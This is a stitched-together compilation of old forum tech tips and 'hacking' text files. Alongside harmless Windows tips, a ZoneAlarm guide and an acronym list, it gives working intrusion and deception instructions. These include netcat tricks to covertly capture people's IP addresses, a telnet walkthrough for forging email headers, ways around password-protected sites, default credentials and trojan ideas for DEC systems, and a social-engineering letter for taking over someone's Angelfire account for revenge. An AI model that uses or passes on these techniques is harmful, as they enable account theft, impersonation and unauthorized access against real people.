Method 1
To view someone's IP# when they send you hotmail email do this:
1) Click "Options" on the upper right side of the page.
2) On the left side of the page, Click "Mail"
3) Click "Mail Display Settings"
4) Under "Message Headers" select "Full" or "Advanced"
5) Click ok
Method 2
reg a dydns account and install the ip pointer, so each time you ping the host name you regestored
for example:
you regestor the host name myhost.dydns.com, then you keep a little software running on the target host. The little software will keep update your IP to dydns.com server.
so at your pc just start cmd, and ping myhost.dydns.com, it will give you the most updated ip address.
Method 3
neverender, what doesn't work for you? Simply type in nc -vvv -l -p 80 on your box, which will set it to listen in verbose mode on port 80. Then give them a link to your IP address (for example: 111.111.111.11) and tell them to type it in their browser. The browser should resolve the address as well as append port 80 automatically. Just make sure that your friend is not very computer literate.
Method 4
Just download a very simple server such as this one and install it on your comp. Then run it and give your ip to the person you want and tell them to connect to it through a browser. Your server will log their connection and you will get their IP.
link:http://www.download.com/Abyss-Web-Server/3000-2165-10283992.html?tag=lst-0-6
Other Ways
-www.imchaos.com and make a "spy poll" to put in ur profile, this will tell u the IP of anybody who answers ur poll
-originalicons.com there is a page for doin it (i dont like it, but it works)
-or irc
Here is a more detailed tutorial about using NetCat.
http://www.onlamp.com/pub/a/onlamp/2003/05/29/netcat.html
Windows users can download NetCat from here:
http://www.atstake.com/research/tools/network_utilities/
How to find a remote IP
how to execute chm files in linux
download the following rpms on ur pc:-
http://dag.wieers.com/packages/chmlib/chmlib-0.35-1.1.fc3.rf.i386.rpm
ftp://rpmfind.net/linux/dag/fedora/3/en/i386/dag/RPMS/wxGTK-2.4.2-5.1.fc3.rf.i386.rpm
http://acmserver.cs.ucr.edu/%7Ensoracco/rpms/xchm-0.9.8-1.i386.rpm
and also install them in the same sequence. using the command:-
rpm -ivh
Note:- i am giving the path of packages for fedora cpre 3. if want for any other os take a look at the following sites.
chmlib:- http://dag.wieers.com/packages/chmlib/
wxGTK:- ftp://rpmfind.net/linux/dag/
xchm: - platform independent for all redhat's.............
HOW TO CAPTURE STREAMING MEDIA
many websites (http://ww.smashits.com) stream songs and videos
people believe they cannot be downloaded, quite why i dont know. they kinda think there is no file present to dwnld
once the file is located it can then be retrieved by nettransport
nettransport is able to dwnld any file whether ftp or rtsp etc
1. Download Project URL Snooper 1.02.01 from http://rain66.at.infoseek.co.jp/
2. Install URL Snooper (and WinPcap together)
3. Don't run URL Snooper when it is done installing
4. Restart computer
5. Open Project URL Snooper
6. Click on the General Options Tab
7. user posted image
8. Chose a network adapter
9. Now click on the search tab
10. Click Sniff Network
11. Go to a webpage and you should see some results in the results list
12. If nothing is appearing then chose another network adapter, until one works
13. Now you are ready to begin searching
14. Click the "Hide Non-Streaming URLs" option to hide all http:// references and only show URLs corresponding to streaming audio/video (rtsp, pnm, wma, etc.)
15. Then click Sniff Network
16. Your links should appear as you begin streaming your file
17. Select your desired stream user posted image
18. usually rm file user posted image
19. On the bottom there should be the link which you simply copy user posted image
20. Download nettransport from here ftp://down_transport:123@s1.5fox.com/NT2Setup_multi.EXE or
ftp://nettransport:nettransport@61.153.24...Setup_multi.EXE
http://lycos26486.l97.lycos.com.cn/download.htm
21. Install it
22. Click on new
23. Paste link
now you should be able to download any file
if u need ne help
jus ask
i think dialups may have problems
How to Add an URL Address Bar to the task bar
You can add an Internet URL address bar to your Windows XP taskbar. Doing so will let you type in URLs and launch Web pages without first launching a browser. It will also let you launch some native Windows XP applications in much the same way as you would via the Run menu (so you could type in calc to launch the calculator or mspaint to launch Microsoft Paint. Here's how you add the address bar:
1. Right-click on the taskbar, select Toolbars, and then click Address.
2. The word Address will appear on your taskbar.
3. Double click it to access it.
4. If that doesn't work, your taskbar is locked. You can unlock it by right-clicking on the taskbar again and uncheck Lock the Taskbar.
NOTE: You may also need to grab the vertical dotted lines beside the word Address and drag it to the left to make the Address window appear.
HHow to Add an Option to Print the Contents of a Folder
ould you like to be able to right click any folder in Explorer and print its contents? You can add this option to the context menu by following these steps:
First, you need to create a batch file called Printdir.bat. Open Notepad or another text editor and type (or cut and paste) this text:
@echo off
dir %1 /-p /o:gn > "%temp%\Listing"
start /w notepad /p "%temp%\Listing"
del "%temp%\Listing"
exit
Now, in the Save As dialog box, type "%windir%\Printdir.bat" (without the quotation marks) and click the Save button.
Click Start, Control Panel, Folder Options.
Click the File Types tab, and then click File Folder.
Click the Advanced button.
Click the New button.
In the Action box, type "Print Directory Listing" (without the quotation marks).
In the Application used to perform action box, type "Printdir.bat" (without the quotation marks).
Click OK in all three dialog boxes to close the dialog boxes.
You're not quite finished yet! Now you need to edit the Registry, so open your favorite Registry Editor.
Navigate to HKEY CLASSES ROOT\Directory\shell.
Right click on "default" and select Modify.
In the File Data box, type "none" (without the quotation marks).
Click OK and close the Registry Editor.
Now when you right click a folder, you'll see the option to Print Directory Listing. Selecting it will print the contents of the folder.
Who needs a stinking program to print a folder directory?
How Long Has Your System Been Running?
Here's how you verify system uptime:
Click Start | Run and type cmd to open a command prompt.
At the prompt, type systeminfo
Scroll down the list of information to the line that says System Up Time.
This will tell you in days, hours, minutes and seconds how long the system has been up.
Note that this command only works in XP Pro, not in XP Home. You can, however, type net statistics workstation at the prompt in Home. The first line will tell you the day and time that the system came online.
Flashing A Video Card Bios
PCStats have a new advanced guide out for flashing your video card BIOS! While this *not* something for the novice to undertake, flashing your video card BIOS may lead to performance and feature enhancements.
We recently ran an article on flashing (reprogramming) the BIOS (Basic Input/Output System) of your motherboard to enable new features and fix errors. That got us thinking that we'd only covered half the story. Sure, hardware enthusiasts have been upgrading the BIOS on their motherboards for years, but what about the other components of a computer system?
Here's a snap:
Video cards in particular have an interesting history in relation to the BIOS flashing procedure. While motherboard BIOS fixes generally add support for new processors and fix hardware glitches, video card BIOS updates have the potential to do much more. Enterprising tech-heads have discovered instances where a video card can actually be transformed by a BIOS update, activating hidden features and potential buried performance aspects by the manufacturer (generally for marketing purposes).
hacking XP Part 3
With a computer conected you can use telnet into and mess around with, and not get into trouble no matter what you do to it? I've set up my techbroker.com (206.61.52.33) with user xyz, password guest for you to play with. Here's how to forge email to xyz@techbroker.com using
telnet. Start with the command:
C:\>telnet techbroker.com 25
Connecting To Techbroker.com
220
Now you type in who you want the message to appear to come from:
helo santa@techbroker.com
Techbroker.com will answer:
250
Next type in your mail from address:
mail from:santa@techbroker.com
250 Requested mail action okay, completed
Your next command:
rcpt to:xyz@techbroker.com
250 Requested mail action okay, completed
Your next command:
data
354 Start main input; end with
Newbie note:
Anyhow, try typing:
This is a test.
.
250 Requested mail action okay, completed
quit
221
Connection to host lost.
Using techbroker's mail server, even if you enable full headers, the
message we just composed looks like:
Status: R
X-status: N
This is a test.
That's a pretty pathetic forged email, huh? No "from", no date.
However, you can make your headers better by using a trick with the data command. After you give it, you can insert as many headers as you choose. The trick is easier to show than explain:
220
helo santa@northpole.org
250
mail from:santa@northpole.com
250 Requested mail action okay, completed
rcpt to:
250 Requested mail action okay, completed
data
354 Start main input; end with
from:santa@deer.northpole.org
Date: Mon, 21 Oct 2002 10:09:16 -0500
Subject: Rudolf
This is a Santa test.
.
250 Requested mail action okay, completed
quit
221
Connection to host lost.
The message then looks like:
from:santa@deer.northpole.org
Date: Mon, 21 Oct 2002 10:09:16 -0500
Subject: Rudolf
This is a Santa test.
The trick is to start each line you want in the headers with one word
followed by a colon, and the a line followed by "return". As soon as
you write a line that doesn't begin this way, the rest of what you
type goes into the body of the email.
Notice that the santa@northpole.com from the "mail from:" command didn't show up in the header. Some mail servers would show both "from" addresses.
You can forge email on techbroker.com within one strict limitation.
Your email has to go to someone at techbroker.com. If you can find any way to send email to someone outside techbroker, let us know, because you will have broken our security, muhahaha! Don't worry, you have my permission.
Next, you can read the email you forge on techbroker.com via telnet:
C:\>telnet techbroker.com 110
+OK <30961.5910984301@techbroker.com> service ready
Give this command:
user xyz
+OK user is known
Then type in this:
pass test
+OK mail drop has 2 message(s)
retr 1
+OK message follows
This is a test.
If you want to know all possible commands, give this command:
help
+OK help list follows
USER user
PASS password
STAT
LIST [message]
RETR message
DELE message
NOOP
RSET
QUIT
APOP user md5
TOP message lines
UIDL [message]
HELP
Unless you use a weird online provider like AOL, you can use these
same tricks to send and receive your own email. Or you can forge email to a friend by telnetting to his or her online provider's email
sending computer(s).
Hacking XP Part 2
The queen of hacker commands is telnet. To get Windows help for
telnet, in the cmd.exe window give the command:
C:\>telnet /?
Here's what you will get:
telnet [-a][-e escape char][-f log file][-l user][-t term][host
[port]]
-a Attempt automatic logon. Same as -l option except uses
the currently logged on user's name.
-e Escape character to enter telnet client prompt.
-f File name for client side logging
-l Specifies the user name to log in with on the remote system.
Requires that the remote system support the TELNET ENVIRON
option.
-t Specifies terminal type.
Supported term types are vt100, vt52, ansi and vtnt only.
host Specifies the hostname or IP address of the remote computer
to connect to.
port Specifies a port number or service name.
Newbie note: what is a port on a computer? A computer port is sort of like a seaport. It's where things can go in and/or out of a computer. Some ports are easy to understand, like keyboard, monitor, printer and modem. Other ports are virtual, meaning that they are created by software. When that modem port of yours (or LAN or ISDN or DSL) is connected to the Internet, your computer has the ability to open or close any of over 65,000 different virtual ports, and has the ability to connect to any of these on another computer - if it is running that port, and if a firewall doesn?t block it.
****************
****************
Newbie note: How do you address a computer over the Internet? There are two ways: by number or by name.
****************
The simplest use of telnet is to log into a remote computer. Give the
command:
C:/>telnet targetcomputer.com (substituting the name of the computer you want to telnet into for targetcomputer.com)
If this computer is set up to let people log into accounts, you may
get the message:
login:
Type your user name here, making sure to be exact. You can't swap between lower case and capital letters. For example, user name Guest is not the same as guest.
****************
Newbie note: Lots of people email me asking how to learn what their user name and password are. Stop laughing, darn it, they really do. If you don't know your user name and password, that means whoever runs that computer didn't give you an account and doesn't want you to log on.
****************
Then comes the message:
Password:
Again, be exact in typing in your password.
What if this doesn't work?
Every day people write to me complaining they can't telnet. That is
usually because they try to telnet into a computer, or a port on a
computer that is set up to refuse telnet connections. Here's what it
might look like when a computer refuses a telnet connection:
C:\ >telnet 10.0.0.3
Connecting To 10.0.0.3...Could not open connection to the host, on port 23. A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
Or you might see:
C:\ >telnet techbroker.com
Connecting To techbroker.com...Could not open connection to the host, on port 23.
No connection could be made because the target machine actively
refused it.
If you just give the telnet command without giving a port number, it
will automatically try to connect on port 23, which sometimes runs a
telnet server.
**************
Newbie note: your Windows computer has a telnet client program,
meaning it will let you telnet out of it. However you have to install
a telnet server before anyone can telnet into port 23 on your
computer.
*************
If telnet failed to connect, possibly the computer you were trying to
telnet into was down or just plain no longer in existence. Maybe the
people who run that computer don't want you to telnet into it.
How to Telnet into a Shell Account
Even though you can't telnet into an account inside some computer, often you can get some information back or get that computer to do something interesting for you. Yes, you can get a telnet connection to succeed -without doing anything illegal --against almost any computer, even if you don't have permission to log in. There are many legal things you can do to many randomly chosen computers with telnet. For example:
C:/telnet freeshell.org 22
SSH-1.99-OpenSSH_3.4p1
That tells us the target computer is running an SSH server, which enables encrypted connections between computers. If you want to SSH into an account there, you can get a shell account for free at
One reason most hackers have shell accounts on Internet servers is because you can meet the real hackers there. When you've logged in, give the command w or who. That gives a list of user names. You can talk to other users with tht talk command. Another fun thing, if your shell account allows it, is to give the command
ps -auxww
It might tell you what commands and processes other users are running. Ask other users what they are doing and they might teach you something. Just be careful not to be a pest!
***************
You can get punched in the nose warning: Your online provider might kick you off for making telnet probes of other computers. The solution is to get a local online provider and make friends with the people who run it, and convince them you are just doing harmless, legal explorations.
*************
Sometimes a port is running an interesting program, but a firewall won't let you in. For example, 10.0.0.3, a computer on my local area network, runs an email sending program, (sendmail working together with Postfix, and using Kmail to compose emails). I can use it from an account inside 10.0.0.3 to send emails with headers that hide from where I send things.
If I try to telnet to this email program from outside this computer,
here's what happens:
C:\>telnet 10.0.0.3 25
Connecting To 10.0.0.3...Could not open connection to the host, on
port 25.
No connection could be made because the target machine actively
refused it.
However, if I log into an account on 10.0.0.3 and then telnet from
inside to port 25, here's what I get:
Last login: Fri Oct 18 13:56:58 2002 from 10.0.0.1
Have a lot of fun...
cmeinel@test-box:~> telnet localhost 25
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1... [Carolyn's note: 127.0.0.1 is the numerical
address meaning localhost, the same computer you are logged into]
Connected to localhost.
Escape character is '^]'.
220 test-box.local ESMTP Postfix
The reason I keep this port 25 hidden behind a firewall is to keep
people from using it to try to break in or to forge email. Now the
ubergeniuses reading this will start to make fun of me because no
Internet address that begins with 10. is reachable from the Internet.
However, sometimes I place this "test-box" computer online with a
static Internet address, meaning whenever it is on the Internet, it
always has the same numerical address. I'm not going to tell you what its Internet address is because I don't want anyone messing with it. I just want to mess with other people's computers with it, muhahaha. That's also why I always keep my Internet address from showing up in the headers of my emails.
***************
Newbie note: What is all this about headers? It's stuff at the
beginning of an email that may - or may not - tell you a lot about
where it came from and when. To see full headers, in Outlook click
view -> full headers. In Eudora, click the "Blah blah blah" icon.
****************
Hacking XP Part 1
Part I: The Magic of DOS
In this guide you will learn how to telnet
nslookup
So you have the newest, glitziest, "Fisher Price" version of Windows: XP. How can you use XP in a way that sets you apart from the boring millions of ordinary users?
****************
Luser Alert: Anyone who thinks this GTMHH will reveal how to blow up people's TV sets and steal Sandra Bullock's email is going to find out that I won't tell them how.
****************
The key to doing amazing things with XP is as simple as D O S. Yes, that's right, DOS as in MS-DOS, as in MicroSoft Disk Operating System. Windows XP (as well as NT and 2000) comes with two versions of DOS. Command.com is an old DOS version. Various versions of command.com come with Windows 95, 98, SE, ME, Window 3, and DOS only operating systems.
The other DOS, which comes only with the XP, 2000 and NT operating systems, is cmd.exe. Usually cmd.exe is better than command.com because it is easier to use, has more commands, and in some ways resembles the bash shell in Linux and other Unix-type operating systems. For example, you can repeat a command by using the up arrow until you back up to the desired command. Unlike bash, however, your DOS command history is erased whenever you shut down cmd.exe. The reason XP has both versions of DOS is that sometimes a program that won?t run right in cmd.exe will work in command.com
****************
Flame Alert: Some readers are throwing fits because I dared to compare DOS to bash. I can compare cmd.exe to bash if I want to. Nanny nanny nah nah.
****************
DOS is your number one Windows gateway to the Internet, and the open sesame to local area networks. From DOS, without needing to download a single hacker program, you can do amazingly sophisticated explorations and even break into poorly defended computers.
****************
You can go to jail warning: Breaking into computers is against the law if you do not have permission to do so from the owner of that computer. For example, if your friend gives you permission to break into her Hotmail account, that won't protect you because Microsoft owns Hotmail and they will never give you permission.
****************
****************
You can get expelled warning: Some kids have been kicked out of school just for bringing up a DOS prompt on a computer. Be sure to get a teacher's WRITTEN permission before demonstrating that you can hack on a school computer.
****************
So how do you turn on DOS?
Click All Programs -> Accessories -> Command Prompt
That runs cmd.exe. You should see a black screen with white text on it, saying something like this:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>
Your first step is to find out what commands you can run in DOS. If you type "help" at the DOS prompt, it gives you a long list of commands. However, this list leaves out all the commands hackers love to use. Here are some of those left out hacker commands.
TCP/IP commands:
telnet
netstat
nslookup
tracert
ping
ftp
NetBIOS commands (just some examples):
nbtstat
net use
net view
net localgroup
TCP/IP stands for transmission control protocol/Internet protocol. As you can guess by the name, TCP/IP is the protocol under which the Internet runs. along with user datagram protocol (UDP). So when you are connected to the Internet, you can try these commands against other Internet computers. Most local area networks also use TCP/IP.
NetBIOS (Net Basic Input/Output System) protocol is another way to communicate between computers. This is often used by Windows computers, and by Unix/Linux type computers running Samba. You can often use NetBIOS commands over the Internet (being carried inside of, so to speak, TCP/IP). In many cases, however, NetBIOS commands will be blocked by firewalls. Also, not many Internet computers run NetBIOS because it is so easy to break in using them. We will cover NetBIOS commands in the next Guide to XP Hacking.
Hacking Pasword Protected site
There are many ways to defeat java-script protected web
sites. S ome are very simplistic, such as hitting ctl-alt-del
when the password box is displayed, to simply turning off
java capability, which will dump you into t he default page.
You can try manually searching for other directories, by
typing the directory name into the url address box of your
browser, ie: you w ant access to www.target.com . Try typing
www.target.com/images .(almost ever y web site has an images
directory) This will put you into the images directo ry,
and give you a text list of all the images located there.
Often, the t itle of an image will give you a clue to the
name of another directory. ie: in www.target.com/images,
there is a .gif named gamestitle.gif . There is a g ood
chance then, that there is a 'games' directory on the site,
so you wou ld then type in www.target.com/games, and if it is
a valid directory, you aga in get a text listing of all thefiles available there.
For a more automated a pproach, use a program like WEB SNAKE
from anawave, or Web Wacker. These pro grams will create a
mirror image of an entire web site, showing all director ies,
or even mirror a complete server. They are indispensable for
locating hidden files and directories.
What do you do if you can't get past an openin g "Password
Required" box? First do an WHOIS Lookup for the site. In our
example, www.target.com . We find it's hosted by www.host.com
at 100.100.100. 1. We then go to 100.100.100.1, and then launch \
Web Snake, and mirror the e ntire server. Set Web Snake to NOT
download anything over about 20K. (not ma ny HTML pages are
bigger than this) This speeds things up some, and keeps yo u
from getting a lot of files and images you don't care about.
This can take a long time, so consider running it right before bed time.
Once you have an image of the entire server, you look through
the directories listed, and find /target. When we open that
directory, we find its contents, and all of i ts sub-directories listed.
Let's say we find /target/games/zip/zipindex.html . This would be the index
page that would be displayed had you gone through the
password procedure, and allowed it to redirect you here.
By simply typ ing in the url
www.target.com/games/zip/zipindex.html you will be on
the index page and ready to follow the links for downloading.
A Novice's Guide To Hacking
The word "hacking" is here used the way the non-hacking public
thinks it is used, to mean breaking into somebody else's computer. Its
purpose is to expand and clarify the information about the TOPS-20 operating
system, which runs on DECsystem-20 mainframes. The Mentor basically lumped
this system in with TOPS-10 and didn't note important differences between the
two. I will here reproduce in full what The Mentor had to say about TOPS-10
and about VMS, which are the parent and the offspring of TOPS-20.
VMS- The VAX computer is made by Digital Equipment Corporation (DEC),
and runs the VMS (Virtual Memory System) operating system.
VMS is characterized by the 'Username:' prompt. It will not tell
you if you've entered a valid username or not, and will disconnect
you after three bad login attempts. It also keeps track of all
failed login attempts and informs the owner
of the account next time
s/he logs in how many bad login attempts were made on the account.
It is one of the most secure operating systems around from the
outside, but once you're in there are many things that you can do
to circumvent system security. The VAX also has the best set of
help files in the world. Just type HELP and read to your heart's
content.
Common Accounts/Defaults: [username: password [[,password]] ]
SYSTEM: OPERATOR or MANAGER or SYSTEM or SYSLIB
OPERATOR: OPERATOR
SYSTEST: UETP
SYSMAINT: SYSMAINT or SERVICE or DIGITAL
FIELD: FIELD or SERVICE
GUEST: GUEST or unpassworded
DEMO: DEMO or unpassworded
DECNET: DECNET
DEC-10- An earlier line of DEC computer equipment, running the TOPS-10
operating system. These machines are recognized by their
'.' prompt. The DEC-10/20 series are remarkably hacker-friendly,
allowing you to enter several important commands without ever
logging into the system. Accounts are in the format [xxx,yyy] where
xxx and yyy are integers. You can get a listing of the accounts and
the process names of everyone on the system before logging in with
the command .systat (for SYstem STATus). If you seen an account
that reads [234,1001] BOB JONES, it might be wise to try BOB or
JONES or both for a password on this account. To login, you type
.login xxx,yyy and then type the password when prompted for it.
The system will allow you unlimited tries at an account, and does
not keep records of bad login attempts. It will also inform you
if the UIC you're trying (UIC = User Identification Code, 1,2 for
example) is bad.
Common Accounts/Defaults:
1,2: SYSLIB or OPERATOR or MANAGER
2,7: MAINTAIN
5,30: GAMES
**** note: I'm remembering this stuff from several years ago, and in some
cases my memory may be foggy or stuff may be outdated.
TOPS-20, once you are inside, resembles VMS much more than it resembles
TOPS-10, as far as I know (I'm not really familiar with VMS). From the
outside, it's more like TOPS-10, except that the prompt is a @ instead of a
period. You can enter many commands without logging in, including SYSTAT and
probably FINGER. (Sometimes you can even use the mail program without
logging in.) It is very helpful. Not only does the command HELP lead to
lots of useful information, but anywhere in typing a command you can press ?
and it will tell you what the format of the command expects. For instance,
if you type ? by itself, it will tell you all the words that a command can
begin with. If you type S?, it will tell you all the commands that start
with the letter S. If you type SYSTAT ?, it will tell you the options
available on the systat command. You can use this at any point in any
command. Furthermore, if there is only one possibility (you have typed a
unique abbreviation), you can press Escape and it will finish the word for
you. I'm not sure, but I think TOPS-20 was the system that first introduced
filename completion as well --turning a uniquely abbreviated filename into a
complete name when you press escape, beeping if the abbreviation is not
unique. With command keywords you can leave the abbreviation un-expanded,
with filenames you have to expand it (or type it all in) for it to work.
Use the "Login" command to log in, followed by a username. It will prompt
for a password. Note that a password can be something like 39 characters
long, as can the username itself. TOPS-20 does NOT use numbers like 317,043
for user IDs. (Note that these numbers in TOPS-10 are octal, not decimal.)
Furthermore, the password can contain spaces. So, if somebody wants to make
his password difficult to guess, he can easily do so.
(But sometimes they might get overconfident. I remember a story from
Stanford... Someone asked the large cheese if he would let him know what the
operator password was, and he said "The operator password is currently
unavailable." So the guy tried "currently unavailable" as a password, and
got in. (Which reminds me of the time they got a real bug in the system
there... a head crash caused by an ant on the disk platter.))
In general, TOPS-20 does not limit the number of login attempts, nor does it
keep a record of bad tries. However, it is not difficult for the local
management to add such measures, or others such as a delay of several seconds
after each attempt. And unlike Unix, it is difficult to evade these even
once you're in. Without heavy in-depth knowledge, you can't test a username-
password combination except through a system call, which will enforce delays
and limited failures and such against password-trying programs.
So, TOPS-20 is easy to defend against the "database hack", in which you try
many different common passwords with many different usernames. (Unix is
much more vulnerable to this.) But any particular system, especially a lax
one like a college machine (DEC is always popular in academia), might have
little defense here. But you might not know how much defense until too late.
Do try the GUEST username.
But TOPS-20 can be very vulnerable to trojan horses. See, there's this thing
called the Wheel bit. A username that has the Wheel property can do anything
the system operator can do, such as ignore file protection masks, edit the
disks at the track/sector level, change any area of memory... On Unix, only
one user, the superuser, can read and write protected files. On TOPS-20, any
user can do these things from any terminal, if the Wheel attribute is set in
his user data. Some campus computers tend to accumulate excess trusted users
with wheel bits, and have to periodically prune away the unnecessary ones.
The thing is that a wheel can do these things without knowing that he has
done them. Normally the privileged commands are deactivated. But a program
run by a wheel can activate the privileges, do anything it wants, cover its
tracks, and deactivate them without the user ever being the wiser. So if you
can get any wheel user to run any program you wrote, such as a game or small
utility... there's no limit to what you can do. In particular, you can
create a new username, and make it a wheel. Or you can simply ask the system
outright for someone's password, if I'm not mistaken. (All this requires
access to TOPS-20 programming manuals, but some of the necessary material
should be available on line.) You cannot actually conceal this creation, as
far as I know... but maybe with sophisticated enough knowledge you could
make it not immediately apparent... Anyway, once you get that far in, you can
probably keep one step ahead of them for a while... If they erase your new
accounts, you can use the passwords to old ones... They can change all of
the wheel passwords, but a lot of the regular users won't change for some
time... You could even lock the operators out of their own system by
changing all their passwords for them, if you were crazy enough, perhaps
forcing them to shut the machine down to regain control of it. They might
even have to restore stuff from tape backup.
Even if you don't wedge your way into secret stuff, a TOPS-20 system can be
fun to explore. It's much more novice-friendly than most systems, and much
more hacker-friendly as well. I think the ascendency of Unix as the least-
common-denominator OS that everybody can agree on is a definite loss,
compared to TOPS-20.
HACKING ANGELFIRE ACCOUNTS
THIS TEXT FILE IS FOR EDUCATIONAL PURPOSES ONLY!! WITH THIS KNOWLEDGE I IN NO WAY ENCOURAGE U
TO GO ON A HACKING SPREE!! JUST KNOWING HOW SHOULD BE ENOUGH!!!
This text file may be
redistributed freely. But, it may NOT be changed in any way without permission from HotWired. So spread the knowledge!!!!!
================================================================
To Whom It May Concern,
My name is DJ and my web page is located at http://www.angelfire.com/ky/LydianSociety/welcome.html. This weekend I left for a trip to NY, and when I got back I decided to edit my homepage. Except when I entered my password it did not work. I am fairly sure I have the right one but am not 100% certain. I would have used the web based password retrieving system form your site but I have changed my E-Mail addresses as well, so the old ones are no longer available. My new address is XLydeX@hotmail.com
If you would please send me my account information again so I can finally edit my page again, I would be greatful. Thank you.
Lyde
==============
The Angelfire Hack!
==============
Enough with the legal shit! Let's get to the hack! Ok... You know this lamer on the net and u
want to get him back and he's got a page on Angelfire! What do u do? You hack his page of
course! For those of you who don't know what Angelfire is it's a free web page service. The
basic things u will need to hack an Angelfire account are:
/\/\/\/\ STEP 1 /\/\/\/\
The full url of this dood's page. Like http://www.angelfire.com/ca/lamer/index.html
or what ever the url is... Basically what the url says is his page is at angelfire.com
in the State of California in a directory called lamer. Index is just the name of the
specific page. It could be different, but it usually defaults to index.html for their
main page if they didn't change it.
/\/\/\/\ STEP 2 /\/\/\/\
I know what ur saying... How could i hack an account with just the url!! Keep reading! On
to step 2! Next up you need to find out this person's old email addy. Usually it's on their
front page. Write it down!
/\/\/\/\ STEP 3 /\/\/\/\
Now you've got their full url and their email address. Now you have to find their name on their
page. Usually they fill u in on what their real names are so find it and write it down. This
isn't necessary, but it makes the letter a lot more genuine...
/\/\/\/\ STEP 4 /\/\/\/\
With all this information write a letter to Angelfire sayin how unhappy u r! Angelfire's help
mail is mail@angelfire.com. Make the letter sound like a REAL scenario. That's the trick to
this hack. A little social engineering goes a long way in getting u what u want. Say something
in your letter like you went on vacation and forgot ur dam password! Say that you changed your
email address and your old addy is no longer available so the password retrievable form won't
work because it's sending to an unavailable address. So you give them a new address to send
the password to!! Check ur mail the next day and wallah!!! INSTANT ACCESS!!!
-released by-
\\\\\\\\\ HotWired /////////
oO keeping the scene alive! Oo
Configuring ZoneAlarm Security Settings
If you're running ZoneAlarm Pro you will probably have considered that most of the "advanced" settings might as well be in Chinese for all the use they are. User friendly they are not!.....
If you are not on a LAN (connected to another computer in a network) you can use this guide to give your firewall some real muscle and a new lease of life:
Launch ZoneAlarm Pro and click to highlight the "Firewall" tab on the left hand side . In the pane that appears on the right hand side in the section "Internet Zone Security" set the slider control to "High" Then click the "Custom" button in the same section.
The next settings page is divided into two sections with tabs Internet Zone and Trusted Zone at the top of the page. Under the Internet Zone tab there is a list of settings that can be accessed by scrolling. At the top is the high security settings and the only thing that should check from there is "allow broadcast/multicast". The rest should be unchecked.
Scroll down until you get to the medium security settings area. Check all the boxes in this section until you get to "Block Incomming UDP Ports". When you check that you will be asked to supply a list of ports, and in the field at the bottom of the page enter 1-65535
Then go back to the list and check the box alongside "Block Outgoing UDP Ports" and at the bottom of the page enter 1-19, 22-79, 82-7999, 8082-65535
Repeat this proceedure for the following settings
"Block Incomming TCP Ports": 1-65535
"Block Outgoing TCP Ports": 1-19, 22-79, 82-7999, 8082-65535
Then click "Apply", "Ok" at the bottom of the page.
Back in the right hand "Firewall" pane go next to the yellow "Trusted Zone Security" section and set it to "high" with the slider. Click "Custom" and repeat the above proceedure this time choosing the Trusted Zone tab at the top of the settings page.
These settings will stop all incoming packets @ports 1-65535 and also block all pings, trojans etc... this will also stop all spyware or applications from phoning home from your drive without your knowledge!
About Computer Acronym
ADSL - Asymmetric Digital Subscriber Line
AGP - Accelerated Graphics Port
ALI - Acer Labs, Incorporated
ALU - Arithmetic Logic Unit
AMD - Advanced Micro Devices
APC - American Power Conversion
ASCII - American Standard Code for Information Interchange
ASIC - Application Specific Integrated Circuit...
ASPI - Advanced SCSI Programming Interface
AT - Advanced Technology
ATI - ATI Technologies Inc.
ATX - Advanced Technology Extended
--- B ---
BFG - BFG Technologies
BIOS - Basic Input Output System
BNC - Barrel Nut Connector
--- C ---
CAS - Column Address Signal
CD - Compact Disk
CDR - Compact Disk Recorder
CDRW - Compact Disk Re-Writer
CD-ROM - Compact Disk - Read Only Memory
CFM - Cubic Feet per Minute (ft�/min)
CMOS - Complementary Metal Oxide Semiconductor
CPU - Central Processing Unit
CTX - CTX Technology Corporation (Commited to Excellence)
--- D ---
DDR - Double Data Rate
DDR-SDRAM - Double Data Rate - Synchronous Dynamic Random Access Memory
DFI - DFI Inc. (Design for Innovation)
DIMM - Dual Inline Memory Module
DRAM - Dynamic Random Access Memory
DPI - Dots Per Inch
DSL - See ASDL
DVD - Digital Versatile Disc
DVD-RAM - Digital Versatile Disk - Random Access Memory
--- E ---
ECC - Error Correction Code
ECS - Elitegroup Computer Systems
EDO - Extended Data Out
EEPROM - Electrically Erasable Programmable Read-Only Memory
EPROM - Erasable Programmable Read-Only Memory
EVGA - EVGA Corporation
--- F ---
FC-PGA - Flip Chip Pin Grid Array
FDC - Floppy Disk Controller
FDD - Floppy Disk Drive
FPS - Frame Per Second
FPU - Floating Point Unit
FSAA - Full Screen Anti-Aliasing
FS - For Sale
FSB - Front Side Bus
--- G ---
GB - Gigabytes
GBps - Gigabytes per second or Gigabits per second
GDI - Graphical Device Interface
GHz - GigaHertz
--- H ---
HDD - Hard Disk Drive
HIS - Hightech Information System Limited
HP - Hewlett-Packard Development Company
HSF - Heatsink-Fan
--- I ---
IBM - International Business Machines Corporation
IC - Integrated Circuit
IDE - Integrated Drive Electronics
IFS- Item for Sale
IRQ - Interrupt Request
ISA - Industry Standard Architecture
ISO - International Standards Organization
--- J ---
JBL - JBL (Jame B. Lansing) Speakers
JVC - JVC Company of America
- K ---
Kbps - Kilobits Per Second
KBps - KiloBytes per second
--- L ---
LG - LG Electronics
LAN - Local Area Network
LCD - Liquid Crystal Display
LDT - Lightning Data Transport
LED - Light Emitting Diode
--- M ---
MAC - Media Access Control
MB � MotherBoard or Megabyte
MBps - Megabytes Per Second
Mbps - Megabits Per Second or Megabits Per Second
MHz - MegaHertz
MIPS - Million Instructions Per Second
MMX - Multi-Media Extensions
MSI - Micro Star International
--- N ---
NAS - Network Attached Storage
NAT - Network Address Translation
NEC - NEC Corporation
NIC - Network Interface Card
--- O ---
OC - Overclock (Over Clock)
OCZ - OCZ Technology
OEM - Original Equipment Manufacturer
--- P ---
PC - Personal Computer
PCB - Printed Circuit Board
PCI - Peripheral Component Interconnect
PDA - Personal Digital Assistant
PCMCIA - Peripheral Component Microchannel Interconnect Architecture
PGA - Professional Graphics Array
PLD - Programmable Logic Device
PM - Private Message / Private Messaging
PnP - Plug 'n Play
PNY - PNY Technology
POST - Power On Self Test
PPPoA - Point-to-Point Protocol over ATM
PPPoE - Point-to-Point Protocol over Ethernet
PQI - PQI Corporation
PSU - Power Supply Unit
--- R ---
RAID - Redundant Array of Inexpensive Disks
RAM - Random Access Memory
